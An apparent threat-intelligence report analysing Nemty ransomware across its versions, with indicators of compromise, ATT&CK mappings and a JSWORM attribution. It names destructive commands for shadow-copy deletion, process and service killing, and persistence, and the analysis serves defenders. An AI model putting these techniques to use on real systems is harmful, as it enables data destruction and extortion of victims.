The style of the ransomware note changed across the different versions that the Nemty developers released.

FIGURE 25. Different ransom notes between versions

On the left side, we can see Nemty version 1.4. On the right side, the ransomware note belongs to Nemty version 1.0.

Like other ransomware families, Nemty will perform these actions at the end:

  • Delete the shadow copies using vssadmin
  • Disable boot protections with bcedit and wbadmin
  • Delete the Windows catalog with WMIC using the class shadow copy

All these calls are made with the function “ShellExecuteA” with the “cmd.exe” string as the main program and the other as an argument.

FIGURE 26. Deletion of the shadow volumes, disabling boot protections, and deleting the catalog


Nemty will create a specific mutex in the system every time it infects a system:

The ransomware will check the existence of the mutex using the function “GetLastError”.

FIGURE 27. Creation of the hardcoded mutex

If the system was infected previously with Nemty and it contains the mutex, the ransomware will finish the execution using the function “ExitThread”. This call will end the main thread of the malware, finishing the execution and returning the control to the operative system.

The “ExitProcess” function is often used to avoid simple API monitoring.

Nemty uses RC4 to encrypt its strings and, in execution, those will be decrypted and decoded from base64 and then be used as a part of the ransomware note.

FIGURE 28. Calculating the size of memory to decode from base64

The RC4 key used for Nemty 1.0 is ‘f*ckav’. Other malware families also often use offensive names or expressions regarding the security industry in their implementations.

For decryption, the developers implemented a function through the API to reserve the needed space with ‘malloc’ and later decode the string in memory. As a protection, if the ransomware fails to get the size or on the decoding operation, the execution will finish using “ExitThread”.

FIGURE 29. Decrypt the data with RC4

Nemty – Learning by Doing

Since the first version of Nemty was released, the authors started to evolve their ransomware by adding new capabilities and fixing aspects of its code.

Analyzing the early versions of Nemty, we can state that they were more advanced in techniques and obfuscation compared to other RaaS families, but the first version still contained functions with some mistakes, such as references to API calls that were not used by the ransomware.

At the time we wrote this article, the developers behind the ransomware have released 9 different versions:

Changelog Nemty 1.4

We have observed changes across the different versions of Nemty. For version 1.4, the developers applied the following changes:

  • The ransomware will gather information regarding the logical units after checking if the victim has the Nemty mutex.
  • Language check
    • In this version, Nemty will respect and avoid encrypting files for victims inside the CIS countries.

FIGURE 30. Check to avoid crypting if the language is blacklisted


Compared with Nemty 1.4, this newer version was a major release, adding the following changes:

  • Victim information stored in the registry
  • Persistence
  • Ability to kill processes and services
  • New mutex
  • Hardcoded image change
  • C2 panel publicly accessible
  • 4 new blacklisted countries

Victim Information Stored in the Registry

The first major change in this version of Nemty was the use of the Windows registry to store information about the infected machine. The hive used is HKCU with the NEMTY identifier.

FIGURE 31. Information saved in the registry

Ability to Kill Processes and Services

The second feature added is the possibility to kill certain processes to facilitate file encryption in the system, something that is commonly implemented by other RaaS families.

In order to kill those processes, Nemty will use taskkill /im PROCESSNAME.

FIGURE 32. Termination of processes

Among certain kill processes, Nemty will stop certain services in the system with the same objectives:

To stop the services Nemty, will use “net stop” and the service name.

FIGURE 33. Stop of services on the victim machine


The first versions of Nemty did not have any persistence technique, so the author decided to add it in version 1.5. The persistence is done through a scheduled task, “create /sc onlogon”. The binary is copied into the main user directory with the name hardcoded (this can be adapted for every binary released) “AdobeUpdate.exe” and the task launched using “ShellExecute”.

FIGURE 34. Creation of a schedule task to persistence

Hardcoded Image Change

Regarding the picture hardcoded in the first versions, for this version, Nemty decided to change it and include a new one.

FIGURE 35. New image referenced in the malware

C2 Panel Publicly Accessible

The author, decided to swap TOR for a public C2 panel where Nemty will send the victim’s data.<victim_data>

4 New Blacklisted Countries

For this version, the author added four new countries to the blacklist:

Changes in Version 1.6

Compared with the previous version, Nemty in the 1.6 version only implemented one single change. The author used their own implementation of the AES algorithm instead of using the CryptoAPI.

The way that the malware previously generated the random key was based on functions of time but with version 1.6 it mostly used some other value to generate the random key.

FIGURE 36. Changes in the key generation function

One of the partners in the No More Ransom project, Tesorion, decided to publish a free decryptor for victims infected by Nemty. After the announcement, the Nemty authors released a new version utilizing a proper AES function using CryptoAPI.

FIGURE 37. New implementation of the AES crypto using CryptoAPI

Like in a game of cat and mouse, Tesorion released a new decryptor for this specific version. The Nemty authors responded by including a harcoded message to Tesorion in the samples:

Tesorion “tesorion, thanks for your article”.

Second Version of 1.6

Instead of changing the Nemty version number in this new binary, the authors released a new version of 1.6 with some changes.

The changes added for this version are:

  • New vssadmin utility used
  • New processes and services to kill
  • FakeNet feature

This new version was released just 2 days after the first 1.6 version was released; this means that the actor is quite active in developing this ransomware.

New Vssadmin Utility Used

The first change for this version is how the logical units where enumerated. The Nemty author implemented the use of the utility “vssadmin” and also reduced the capacity of the shadow volumes to 401MB. This change probably helped the ransomware in terms of performance.

FIGURE 38. Resize of the shadow volumes in the target logic unit

The idea of this change was to remain more stealthy against endpoint security products, instead of just deleting the shadow copy and executing queries through WMI, BCEDIT, etc. The author changed their approach to use vssadmin with the delete flag.

New Processes and Services to Kill

The Nemty authors added new processes to kill in order to facilitate file encryption:

In addition to new processes, the author also included new services:

FakeNET Feature

For this version the Nemty authors decided to add one interesting feature. The ransomware in execution had implemented a function to retrieve the victim’s public IP address. In the case that Nemty cannot connect with the external IP address, the ransomware will add fake data in order to continue the encryption process. The fake data will be:


FIGURE 39. Nemty using fake IP address and country name information if it cannot connect to the URL to get a WAN IP

This feature implemented by Nemty will expose users in the protected countries as it will encrypt the system, even if the user belongs to one of the countries specified in the static blacklist.

Version 2.0

In this version the developers decided to remove certain features and added a new encryption process:

  • The FakeNet feature was deleted and Nemty only used the old mechanism to check the victim’s region.
  • An initial function that prepares a container to use the RC4 algorithm with the name “rc4” and get a key based in the hardcoded string (can change in other samples) “sosorin :)”. This key is used to decrypt part of the ransom note and certain strings. It changes the use of the authors’ own RC4 implementation to now use the RC4 algorithm with CryptoAPI.
  • A new generation of RSA containers of keys, improving the key generation process.
  • The ransom note text included “NEMTY REVENGE” instead of “NEMTY PROJECT” and also added the sentence: “Don’t trust anyone. Even your dog”.

FIGURE 40. Nemty ransomware note

Version 2.2

For this version, the Nemty developers only made two minor changes:

  • Change of the mutex name
  • A new ransom note:

FIGURE 41. Example of the new ransom note

Version 2.3

In this version, we found major changes compared with the prior version:

  • A new mutex value
  • The service used to get the public IP changed from to
    • In case the lookup fails, the external address changes from NONE to NOT_DEFINED.
  • The Windows OS check for XP was duped in prior versions and now only has one specific check.
  • The configuration fields changed, certain fields were removed and new ones were added.
    • This is an example for the new configuration file:






   “country”:”{    ”   “errorCode”   “: ”   “INVALID_ADDRESS”   “,    ”   “error”   “: ”   “invalid addr”   “,”   “version”   “:”   2.3   “,”   “computer_name”   “:”   “USERPC”   “,”   “username”   “:”   “User”   “,”   “os”   “:”   “Windows XP”   “,”   “pr_key”   “:”   BwIAAACkAABSU0EyAAgAAAEAAQDdTDOyFDw4+kjmmP2epZ/484E7PLyyZ5W1obSZSHWPirGeobWwqnoVTXLPbKVYXZ4qszCzO71hwFKcKjeYjX1dVzSlonqpWlU5d2XLtM+6oN9PTUIv2Fp8Quf8w3FU+0OmmS9A0s3n6cnvpA8oIJTZFgYurYDs78Gv3dt4dUkQioqyT/kWBOTZMBARqjiN6JwCCZDU4moRm+9IcqiXzUydebF99EoHxKcJrAekIHuHbHzZq/FcVogFSHT+4aV2/NTrESiNLeLYWv0S/GJrYs2xoLLe3NpdW7disE/PY1yn4flWGPU931AWy4/ba8+bjRXr1UPCKFk370oqWesemfK8j694toexJlRYc8s1mql2T6gq/NnqsWIxgR2B4Esn3xMzXcGZD86mA+XO/gZWgZw9kyJ4rzonWiF8OMWznKgmC0n4rxoOh70eE0m15LPkJOJwmBcVoHE189R71titoNMEYZsK8/WE0x8YJjAAdxmI4ATufV1ZUDbO7yOf5Tc5UuHTxu5iUOL0dO004Hh0t6SZIxbjUbtlHhJTiUULL+TpyG9YP1LyNMhKDE80viN9Co/a6xbs6IRhxhRRFthtHE/kRBeYfhptCblWOStLebtrNgwfe8f3AR2XdH6uESiQ8rTXG/dSgXOfmUQzuvSbxdL4aQ5docbtjQlMEl/FqYqs1pGTEB+cBATRoeY97LSCr/ZvhQPUVPyAD0NHKPOUawrGtXyiAYP3WWhKOQFM1nqQ1E9Mf38NHbaQtNJ8s/BOvMxra2Q9AaCd34IGz3uZuEZIqqXx2qqchHoHPFvopBnkCiJThmb0PoUHsA4keC7EIv3To038Wg2GYhfzy6+vwEIx01F02xhZSHjSUlSmYM2YiS4FZu2F02L49tUPIueqo3ON2ts+G/z36kkaBFocPRJjQGL2cUmG0jI0kdahL6uNYfUL3Cu261bmxewxS1eSk+cb2zC5OckuwxoT66ZddRF+Ud2K2SIPV3oMy3D/4oUtsrAEUv2inEthtwvY8FdzzsM1KlcvLszggKHRdTe4a3hf9ALU7omy3avhGaCtznhRnZvD0W1QNKyKRYBCtHc7e30EpbYtQ8kxRBrrQfySsQMDPfagETSDQMRdD0lLmNCsaJJqS9s7CnsXuTedTiOZA7Nddrc/qUceeZ7ZXMvwhpQJ6TglLJ/qCMFz6u63biGhCi38BxVRhrFzMIV4wEHlmw/7ZKiIsE49XvWzJJH3J6cgvw8XGysgS29w8McqSVaucPhw+lONwc8SLTqDwZ78ozJmr3Hq4bWFjlMSeo/H8tzr++eVMAwNiiECWo2/i2WwraBG7/jpwtedjQF576tBE6TEvriVjohjyhAYj0SprtJoqS5kX6NVM8c8GaeVKbcUp6bPqZLlGi1yfP0dhgpnR81SfDVuv/RaLPedYPfKL3hK1g6UbRJvENVgrr5tik8TLley6v73MI1pbWmEnr48Zk8Y6bb4fm0H9OvkiDYmDDTh4I49TNEyuw8eD8auJ6CsapZUTmvqMlrGI3rnjueTdjQ=   “,”   “drives”   “:[{”   “drive_type”   “:”   “FIXED”   “,”   “drive_letter”   “:”   “C”:”/”   “,”   “total_size”   “:”   9GB   “,”   “used_size”   “:”   9GB   “},{”   “drive_type”   “:”   “NETWORK”   “,”   “drive_letter”   “:”   “E”:”/”   “,”   “total_size”   “:”   9GB   “,”   “used_size”   “:”   9GB   “\”}]}”


  • The User-agent changed to a new one, “Naruto Uzumake”.
  • Concatenating a lot of taskkill commands through the use of “ShellExecuteA”; this version of Nemty kills a lot of new processes.

FIGURE 42. Killing processes with CMD

  • For this version, the authors added PowerShell executions using a command prompt with the function “ShellExecuteA” :

FIGURE 43. Launching a PowerShell command

  • This version added a new subkey in the registry key “Run” in the hive HKEY_CURRENT_USER with the name “daite drobovik”:

FIGURE 44. Creating persistence

  • The ransom note was again changed for this version:

FIGURE 45. Example of the ransom note in version 2.3

Version 2.4

This version was a minor release like Nemty 2.2. In our analysis we only noted changes for the ransom note:

FIGURE 46. Example of the ransom note in version 2.4

Version 2.5

This is the last version of Nemty we discovered. This one represents a minor release and we only spotted two changes for this version:

  • A new mutex value
  • A new ransom note:

FIGURE 47. Example of the ransom note in version 2.5

Relationship between JSWORM and Nemty

Our Advanced Threat Research (ATR) team followed the activity of the user jsworm in the underground forums, and uncovered another piece of their ransomware, called JSWORM ransomware. Below is an announcement they made on the same forum on which they presented Nemty:

FIGURE 48. JSWORM ransomware and Nemty announcement

We analyzed all the samples we had of JSWORM and Nemty and could not find any relationship in the code base between them, but it is clear that both pieces of ransomware belong to the same moniker.

HASH FAMILY Compilation timestamp
0b33471bbd9fbbf08983eff34ee4ddc9 Nemty 2019-08-29 08:31:32
0e0b7b238a06a2a37a4de06a5ab5e615 Nemty 2019-08-19 04:34:25
27699778d2d27872f99ee491460485aa JSWORM 1992-06-19 22:22:17
31adc85947ddef5ce19c401d040aee82 JSWORM 2019-07-19 05:21:52
348c3597c7d31c72ea723d5f7082ff87 Nemty 2019-08-25 11:58:28
37aaba6b18c9c1b8150dae4f1d31e97d Nemty 2019-08-20 19:13:54
4ca39c0aeb0daeb1be36173fa7c2a25e Nemty 2019-08-13 14:46:54
5126b88347c24245a9b141f76552064e Nemty 2019-08-21 16:16:54
5cc1bf6122d38de907d558ec6851377c Nemty 2019-08-21 14:27:55
74701302d6cb1e2f3874817ac499b84a JSWORM 2019-07-10 08:44:29
7def79329823f3c81a6d27d2c92460ef JSWORM 2019-07-09 18:54:23
dcec4fed3b60705eafdc5cbff4062375 Nemty 2019-08-21 19:25:16
de9e1a5fc0f0a29b97eb99542d1f297a JSWORM 2019-07-09 20:25:14
f270805668e8aecf13d27c09055bad5d Nemty 2019-08-21 18:42:10
f796af497399c256129f2ce61eb8855b JSWORM 2019-07-19 05:24:00
fbf7ba464d564dbf42699c34b239b73a JSWORM 1992-06-19 22:22:17
0f3deda483df5e5f8043ea20297d243b Nemty 2018-12-04 11:00:39

Some of the samples released contain custom packers so the compilation timestamp is not accurate for those cases.

Based on the data of the binaries we found, we can see how Nemty activity started some time after the JSWORM ramsomware disappeared. This could indicate that the threat actor jsworm was developing both pieces of ransomware at the same time.

Free Decryptor Available Through No More Ransom

One of the partners of NoMoreRansom was able to release a working version of a Nemty decryptor. If someone is affected by this ransomware, it is possible to contact them through NoMoreRansom to get a decryptor.

Nemty Releases Customer Data Publicly

In our analysis of the Nemty ransomware, we spotted a new trend in how its authors managed the data of their victims.

In this instance, much like we have seen with other ransomware families like Maze, Nemty has its own website on which customer data is publicly released.

Image source: Bleeping Computer


Despite the number of RaaS families that appeared this year, Nemty represents another piece to observe and follow. Since we started to watch the activities of this ransomware, the criminals behind it have released multiple new versions with bug fixes and improvements. Such activity suggests that ransomware authors are feeling pressure from the great work done by security researchers and organizations, and in the case of Nemty, even from the underground criminal community which itself was quick to criticize some of its functions and implementations.

Tesorion, now a partner in No More Ransom, released a working decryptor for Nemty and so we now expect that the author will change the ransomware again to continue their activities. The last action we observed from this group was the website shown above, created to leak customer data.

Mitre ATT&CK

The sample uses the following MITRE ATT&CK™ techniques:

Technique ID Technique Description
T1124 System Time Discovery
T1083 File and Directory Discovery
T1012 Query Registry
T1057 Process Discovery
T1047 Windows Management Instrumentation
T1035 Service Execution
T1215 Kernel Modules and Extensions
T1179 Hooking
T1112 Modify Registry
T1107 File Deletion
T1089 Disabling Security Tools
T1055 Process Injection
T1179 Hooking
T1055 Process Injection
T1132 Data Encoding





















Indicators of Compromise

Hash PE TimeStamp
64a1ce2faa2ab624afcbbbb6f43955e116b6c170d705677dba6c4818770903aa 1992:06:20 00:22:17+02:00
c537c695843ab87903a9dbc2b9466dfbe06e8e0dde0c4703cbac0febeb79353a 1992:06:20 00:22:17+02:00
8e6f56fef6ef12a9a201cad3be2d0bca4962b2745f087da34eaa4af0bd09b75f 1992:06:20 00:22:17+02:00
ca46814881f2d6698f64f31e8390fe155b9fd0d8f50b6ab304725a2251434aa7 2009:08:13 23:36:24+01:00
5d04d789d66152e3fc0a2d84a53c3d7aa0f5d953c1a946619deeb699f3866e26 2017:01:02 12:16:24+01:00
a743d29eb16f9b4a59b2fd8c89e59053bdccce362f544fe82974e80d580c88f6 2018:03:27 07:09:32+02:00
5439452012a052851fdd0625abc4559302b9d4f4580e2ec98680e9947841d75d 2018:04:17 01:50:07+02:00
20d432c171ec17e7c5105f032210a96ea726ffc52154b79ec43acd62d6e3f304 2018:06:09 22:43:06+02:00
9fad280bb034a4683be9ab4a35d2859e61dc796a6134436b4403c2cb9a9ebfea 2018:06:09 23:45:15+00:00
7c1aaccca9dd236b9271c734d987d0fccc3e91bfa4c445c5e1c7c41e61ffe3ca 2018:06:16 17:31:40+02:00
2f2aeb72dd127057fac1eeefdc0539fc3fa7bdff36d288bd7e20f2756194253d 2018:06:16 23:24:06+02:00
6b3fea34cb8bb5cc6d698e30933884e1fe55c942d8768da85eb1c8085525bb41 2018:06:20 00:56:49+01:00
345380e840249081cba552af4ab28d7c65d4052f6e4bedd748b673b8853e6e96 2018:06:20 01:56:49+02:00
0f6e82387a5fe0f64d7cec15466b17a623aa8faaf9971df3c49ab65d49d1422e 2018:07:06 02:30:25+02:00
4b86f102eff21382c1a40a28bd4db19356e1efd323336bcec6645e68592e754a 2018:07:07 17:59:57+01:00
b604a25ae4a668170bf28bfc885d0e137f4ff3a29eb7f772ba7098ecfb9bacb3 2018:07:08 12:47:46+02:00
664b45ba61cf7e17012b22374c0c2a52a2e661e9c8c1c40982137c910095179a 2018:07:14 02:09:27+01:00
536209365d143bf90a44f063eff9254639d7976b2f77edcc2a0ff6ac1e5a5464 2018:07:23 22:32:23+02:00
e29d154b067f298bab794d9f85ee7b3d58ebf17b56f6cff6601fb6ce48482f09 2018:08:01 20:19:32+02:00
c2a32b7094f4c171a56ca9da3005e7cc30489ae9d2020a6ccb53ff02b32e0be3 2018:08:06 17:50:00+02:00
5d58c85ba5bd7a4ca3d5ade7bff08942a12399f82defa370691524d8797a1095 2018:08:09 01:11:34+02:00
c8d44e8c91ed028626a8e2b3a526627790a2ac3e7078316172e35371fb984eee 2018:08:09 01:11:34+02:00
7eb2b5125f9fbcc2672c05031456b6a2432c8921e9fa561bb7d7fa72010638b0 2018:08:22 21:17:21+01:00
06c1428e1a41c30b80a60b5b136d7cb4a8ffb2f4361919ef7f72a6babb223dd3 2018:08:22 22:17:21+02:00
66e55d3ffc0dcc4c8db135474cb8549072f8b1015742038f2ebb60d8c5dbd77c 2018:08:24 01:21:20+02:00
7fab9295f28e9a6e746420cdf39a37fe2ae3a1c668e2b3ae08c9de2de4c10024 2018:08:27 18:49:08+02:00
bf3368254c8e62f17e610273e53df6f29cccc9c679245f55f9ee7dc41343c384 2018:08:28 00:50:58+02:00
eb98285ef506aa5b6d38bbd441db692b832f7ed1b9cb1dc4e2fec45369c8432a 2018:08:29 19:54:20+02:00
676224fb3ab782fc096351c2419ebd8f7df95a9180407f725c57e72d2bbec5b1 2018:08:29 20:05:56+02:00
9b5067d5e7f7fbf52b5069f5557d5b0cf45752a6b720f5a737b412600da8c845 2018:09:07 18:40:54+02:00
30832d5709f93b16a6972fca9159fbd886a4e9815ef0f029fade5ca663e9761e 2018:09:08 01:26:36+01:00
e5527d1bfc8b1448dcd698f23ac7142a066bb19b6109ef1c92df4d6214aa2d6a 2018:09:11 22:58:35+02:00
c09272b4a547aa5e675f9da4baf70670bd192b1dfd8dd33b52a42ee83f782cac 2018:09:30 18:36:38+02:00
aa36aa7425e9591531d5dad33b7e1de7ffbe980376fc39a7961133f5df8ab31a 2018:10:03 22:27:20+02:00
a54bca66aac95cb281d313375e38cd8058ace1e07c5176995531da241c50dbd6 2018:10:06 10:02:23+02:00
63ed68751000f7004bf951bc4a4c22799a94d28602f4022d901b6558ff93b46b 2018:10:09 22:04:03+02:00
fe639627cf827e72c30992c627fffd458f7afb86d5b87e811415b87c2276e59c 2018:10:12 20:11:41+02:00
74f8c39f3b0e4338eeaabad97c9303139336be9ebe059501a78174570540eb9e 2018:10:14 01:10:44+02:00
0a472cb6772f554afc9720064a0ba286ddc02250b9249cace39b3bdd77b5265c 2018:10:20 16:38:09+02:00
0a0fb6e146bf8473b8931c3775529b2a0c8baf0db9afae7d3bb53f3d1da8c6ca 2018:10:21 23:30:07+02:00
0285a046ecaa82e685275ea53ae56134cb992991ef0d2ac5af3f5c15ebd136cc 2018:10:25 23:28:29+02:00
3d852ca618763ced2e280f0c0079e804935b70dcd4adc3912c2e2b3965e196c4 2018:11:03 16:59:21+01:00
4f3c6b42a2182b530f44d37fb82df8c2e1ca3858bfdd6d921aa363efe3e6e7bb 2018:11:03 16:59:21+01:00
3d9742b2ca3756645f88e885d1dadb2827a19f01ca6fb4a5170f2888cced35e1 2018:11:03 16:59:21+01:00
a2f6c36cb8f46207028fbd3f3b69e306d3bdc4fc0391cfda5609812df880be07 2018:11:10 17:30:47+01:00
b3dbfbd64088691b4bf07b9001890bc60ff7f95fb44acdc20d95e8dd3c72c050 2018:11:11 00:53:46+01:00
5e4a090b75ca915fc42a149c7ddfba0dbe1a6846fe3b36249923549656c31218 2018:11:25 19:51:19+01:00
a5590a987d125a8ca6629e33e3ff1f3eb7d5f41f62133025d3476e1a6e4c6130 2018:12:04 12:00:39+01:00
a7558decb9516122781243e791c982977660152813817fb7ed00359365fcb0d3 2018:12:06 17:53:43+01:00
b2c11e6126a7de326e5fef14679279bf9fa920b7ba7142984d99790d89155b69 2018:12:06 17:53:43+01:00
4379f688682395f0ebcd70acd14c304a1074928198b4d0bebb5362d56328f76e 2018:12:06 21:13:33+01:00
8dca973cccf5073a9f53f055fa275215520ba67416b5d206c673df533532efe5 2018:12:07 01:04:23+01:00
9913afe01dc4094bd3c5ff90ca27cc9e9ef7d77b6a7bdbf5f3042a8251b96325 2018:12:10 19:04:48+01:00
17864c4e21c0ebaf30cca1f35d67f46d3c3c33a5b8ea87d4c331e9d86d805965 2018:12:15 23:24:41+01:00
36bd705f58c11c22529a9299d8c0c1a33cf94fb9b7cce0a39a79e4d8f523308d 2018:12:16 21:12:50+01:00
1b18d04d4ca37ecc25bd8d4f229121c89a57c80615d40ff94868f380cdfaed7c 2018:12:24 21:33:38+01:00
b0bd94cf4f409bb5ba2661d875e0488e59492c95a539508172e2670d74feb0ea 2018:12:27 21:42:57+01:00
b9ff00a4b426742892e21601a68b19ffa44668f3274ec250e60843c3224b6b42 2018:12:30 01:14:36+01:00
4f5bb92d861601642aec31ecbd7864b2dcca9027ef3ff7256c0d12915580181b 2019:01:10 22:35:38+01:00
2a5f9e5d72b4841538a73ee2556865d8ed76e3da38571f00148368874edf55c8 2019:01:19 23:44:33+01:00
708922215acc1ddbe35a9549afce408aaa0aa74caa78feca96150e755ebf7b98 2019:02:02 11:07:14+01:00
03e46ba0d430afd4c85eaef47dcb38faf8cd7ef78ef25f8aa911c216a598245c 2019:02:02 23:01:04+01:00
cbb016cab1718c610f2bd98e0190bb5a426a2de38ddfccfec86196294e47bca0 2019:02:05 04:34:44+01:00
2ebe4c68225206161c70cf3e0da39294e9353ee295db2dc5d4f86ce7901210c5 2019:02:08 18:17:02+01:00
947bddf40d6dcf4cbbf174b2067a9f5e09fa2eb03d039974feba1d398ddeb184 2019:02:11 23:26:07+01:00
3207b5da6ecf0d6ea787c5047c1e886c0ee6342a5d79e4bcb757e7e817caa889 2019:02:16 17:40:03+01:00
ee3a8512f4109ec7a21831aee68ba53fb431d5eac613b66bf9877f50118c0cd4 2019:02:16 19:26:22+01:00
9caae99f53cc1446f04703754fa03b98a6303882e0999653c2c5fbfe656e3164 2019:02:26 00:00:02+01:00
cfe5682a41c5b4a3fd9c09070262171a05e0ce99868ef0e2058a5d65385ed681 2019:03:10 18:09:02+01:00
1ac0c87c3ff27dc6d630cb3f543311fb48edfc88d33470836438b1d388ae9687 2019:03:12 20:03:50+01:00
57a73c98866cd1aa0e57b84c0a13a54901077d23b6683d16b713d652d74fd1c7 2019:03:24 20:58:51+01:00
f2c6e0a2500876a3426b191cfbd3b65625bb182f23fda68d256f56a644f4f123 2019:04:02 11:44:51+02:00
5078a0940abc31a7fa271483ac345044a91a0e21c517bceb85091cd3fca310f7 2019:04:03 01:09:42+01:00
92981ed851493d6897339df02a77799645a0edf078daa8cf6cf09293f0801b7c 2019:04:06 02:29:49+02:00
084da93689b04f0a162bcd6fa2d43937f84182ac94d40b871d8650d89501c2bd 2019:04:10 00:40:47+01:00
e563bfae9ee7effe4c9766ded059dc2e91f7f76830973dfdadfb203c47fe8c2a 2019:04:12 17:33:50+01:00
a77beff2bf75a2a82b7c96438e9c55e2839cba2ea057892422b714876b8def58 2019:04:12 21:09:21+01:00
d341571f9b8ea62f52b9563ca1fb77bee5127a2a5b93d00682622eb116db0275 2019:04:12 22:26:26+01:00
510c0746a5d8b0175e80e2fbbbfbf194c8e20e56cccd5a9ec5fac4ad2e2f77f7 2019:04:15 19:01:48+02:00
e070a88883634bf7105f9744123adfd3890947e8da4754d2560293e68f809f10 2019:04:17 01:57:08+02:00
44c6edb224810748a0b15512a47647f5e35157fdaa30357d2820c1eb250273e4 2019:04:17 20:57:27+01:00
db25fd682243d4449c423a57591bd0d69a98f3e6149b815e6c556a76b5fbb71a 2019:04:19 19:05:12+02:00
405df2b5aa985c8386d347b6e7f269e546231a02abd1e793ae792010248bc9da 2019:04:27 00:59:44+02:00
081444b3b8b82c06c631d3106859ab530435af68292a8009c4b6eb2285cb9929 2019:04:27 22:03:27+02:00
a380640490d3aa7380255ed9269bb967a4daee6d2d20353a50154e7e6d399746 2019:04:28 23:52:25+02:00
fe244ab332b490623a8a313a8b64a1d280f3e03b2457f6c3235d01ee8f21c701 2019:04:29 00:49:00+02:00
abf148370f7cc9c16e20c30590a08f85208f4e594062c8a9e59c0c89cd8ff43f 2019:04:29 02:32:07+02:00
034b86e971f24282bd0c1b74a257c7c60ec7d83fa45ac5d5321e7c436675be89 2019:05:04 17:03:52+02:00
859e8f98203fa9b8fb68cf1e4c6f9a1143c970bd2830601841b83ee49b2a72ba 2019:05:05 22:59:32+02:00
2e436f4277a6cac69c5b484284160559752ef0679e27e2af8112e78c9074a17c 2019:05:07 23:20:09+02:00
6be9cc0bda98fee59c94d687c293b83f1b41588ca991f35328f4d56c9c1f38e4 2019:05:17 12:12:43+01:00
29ba2b8099985501ae9aafa964daeca66d964e9fbc1d0025928b49fcae0efb63 2019:05:17 12:58:42+02:00
a08dc1e27b9e92ba70dcd2bce611fa51ec3601e4a2e7cdbb7713b656160c3773 2019:05:28 21:36:33+02:00
cc496cec38bbc72bae3cb64416baca38b3706443c4f360bd4ba8300d64b210d2 2019:08:13 16:46:54+02:00
267a9dcf77c33a1af362e2080aaacc01a7ca075658beb002ab41e0712ffe066e 2019:08:19 05:34:25+01:00
505c0ca5ad0552cce9e047c27120c681ddce127d13afa8a8ad96761b2487191b 2019:08:20 20:13:54+01:00
6a07996bc77bc6fe54acc8fd8d5551a00deaea3cc48f097f18955b06098c4bd3 2019:08:21 16:27:55+02:00
d421d9b0cc9ce69fc4dea1d4bd230b666b15868e4778d227ead38b7572463253 2019:08:21 17:16:54+01:00
f854d7639a5db4c42b51aecd541aaf61879591adf42ebcba068f3b111fb61a34 2019:08:21 19:06:44+01:00
688994783ce56427f20e6e2d206e5eee009fcc157ba37737dce1b14a326cc612 2019:08:21 20:25:16+01:00
4cf87dd16d57582719a8fe6a144360f3dfa5d21196711dc140ce1a738ab9816e 2019:08:21 20:34:34+02:00
15084aa0f30f5797bd666f18d0992dfcdb1c080c8d25cf2f6d97f9166e45b93b 2019:08:31 14:06:01+01:00
7c638c17b3fc92393c421dff34a1c9245c26f9526fb20699af567e6a38535a06 2019:09:04 14:05:11+02:00
022076c2c8f1555ee98a08ff5714aa1db20e1841fe3b8d1362fed0d6bef1c87d 2019:09:19 22:32:44+02:00
fb81f82121f9604a664925790e83763f7dceb2adaa4aeafaf8af24f7986e1f12 2019:09:24 12:28:55+02:00
a41949b9cddc2838534c0f70c0a615a7135fc95e452270ff661247a60d6b638d 2019:09:24 14:55:26+01:00
3aeaf37af33b92dfa62489250ec2857d6bab1098fcf356cdb58e05efabe359cb 2019:09:27 12:59:27+02:00
9f2a0b1553f8b2e1a5c0c40023ac9abed76455cdb0f5a346601088615606eac0 2019:09:28 11:31:11+02:00
068575719283c1e33abb8530340d7ac0b4d44b15da1ee0877c03537216df3001 2019:09:30 02:31:49+02:00
9574f57f7a4192f0507fa3361fb3e00e1f1101fdd818fc8e27aaba6714cd373c 2019:10:02 17:22:33+01:00
98f260b52586edd447eaab38f113fc98b9ff6014e291c59c9cd639df48556e12 2019:10:04 09:56:21+02:00
30ad724c9b869ff9e732e95c7e3b94a0d118297c168ffd4c24bac240e0cba184 2019:10:04 13:01:21+01:00
62c3b52b5310393dbf0590bc246161249632a1d2f21c3aa7fb779dc8018a0edf 2019:10:05 03:10:25+01:00
d041cc7e2e9d8d6366b28abc0428b7d41ad75bcfb67631830a838c32e49fd365 2019:10:07 17:57:43+02:00
88fcdfd4c89a9d3108582e5746b58beda9e538f357f3b390a008a7e5925c19f5 2019:10:07 18:22:30+02:00
9b5a42c4dbb2df3e1457e8a7bdbe93a2a4b4382a4de70077ace34a3c5a04ba1f 2019:10:10 02:55:12+02:00
2497543441cf35647afa60d6bc76825cfebf24e3421fbe101b38838aed63ba21 2019:10:11 02:44:30+02:00
5e2c0b6d2f74605f11047a6b6ebff7026035471bccd3e2c6ba03df576eef08cd 2019:10:12 20:12:30+02:00
aaaa143d3636133fa952b79f3e447264a56a4db223a046906b95802e50a359f9 2019:10:25 11:04:07+02:00
0c18068dab291fcdd5a9aa94fb6cb07b8aeec1e4ecbab3746c3b0586e7bbd692 2019:10:26 06:58:37+01:00
36e66c1d562af0df6c493cb998b24f8b52da55452dce6514d92e14ee64ab41c6 2019:11:26 20:09:10+01:00
2160391fc7c69bc30dea5c4e0e3e6ca2045d021087d4f1170d74eacedae9ebd2 2019:11:26 20:09:10+01:00
b01054d750aaa982359bee75707847f30df668135ca139e25b142e18f8cf2f51 2019:11:26 20:09:10+01:00
97c5eeddaaa99a578a94609a69be099d7ac61f4d797f14a5f9a696566205366e 2019:11:26 20:09:10+01:00
c5d43698296b4e9b9f7491669b7b20ef651302593c72b827462c08c9d6e76ae3 2019:11:26 20:09:10+01:00
d5b4f6cd5c6d142cdcfeca789b58942ee01270cb52de1d0f4c8d3cb7f44fa6e4 2019:12:14 15:45:13+01:00
e04d28b43fcc11ef8869641c2795774ae139ee6ed06c295c772d8a4f2381e831 2019:12:15 09:55:10+01:00
1d3f2ba1c701ecf04c288b64d9f2470c6f58744d5284174c1cb8e8b3753f3fae 2019:12:15 09:55:10+01:00
45c3faeb8cdd2cbdcf6161f05b2e72aba7927594138da693b0020f24db9e60d8 2019:12:15 09:55:10+01:00
4402b31f717bfe82498d162adac0c9b4f5a9ca413c883ac94ab8e322c50f11db 2019:12:23 09:17:02+01:00
a3cb6814fcdb42517728815c875f2dc169ac7b15f615b971eff209c4e2937527 2019:12:23 17:10:14+01:00
0a14d4313ded36716d9de16b8487ac91b0dcf6a77c9f0c21531916c31a0a5ee9 2019:12:24 05:03:25+00:00
735ef043f3f64a9c57ba938dddc6fdac60ed30fa746a728635835c7162729710 2019:12:25 20:14:11+01:00
92cf38b5bee56490871c19e1ee31239c550a0eb6d177a37d02079465be9e4f7d 2019:12:27 18:55:35+01:00
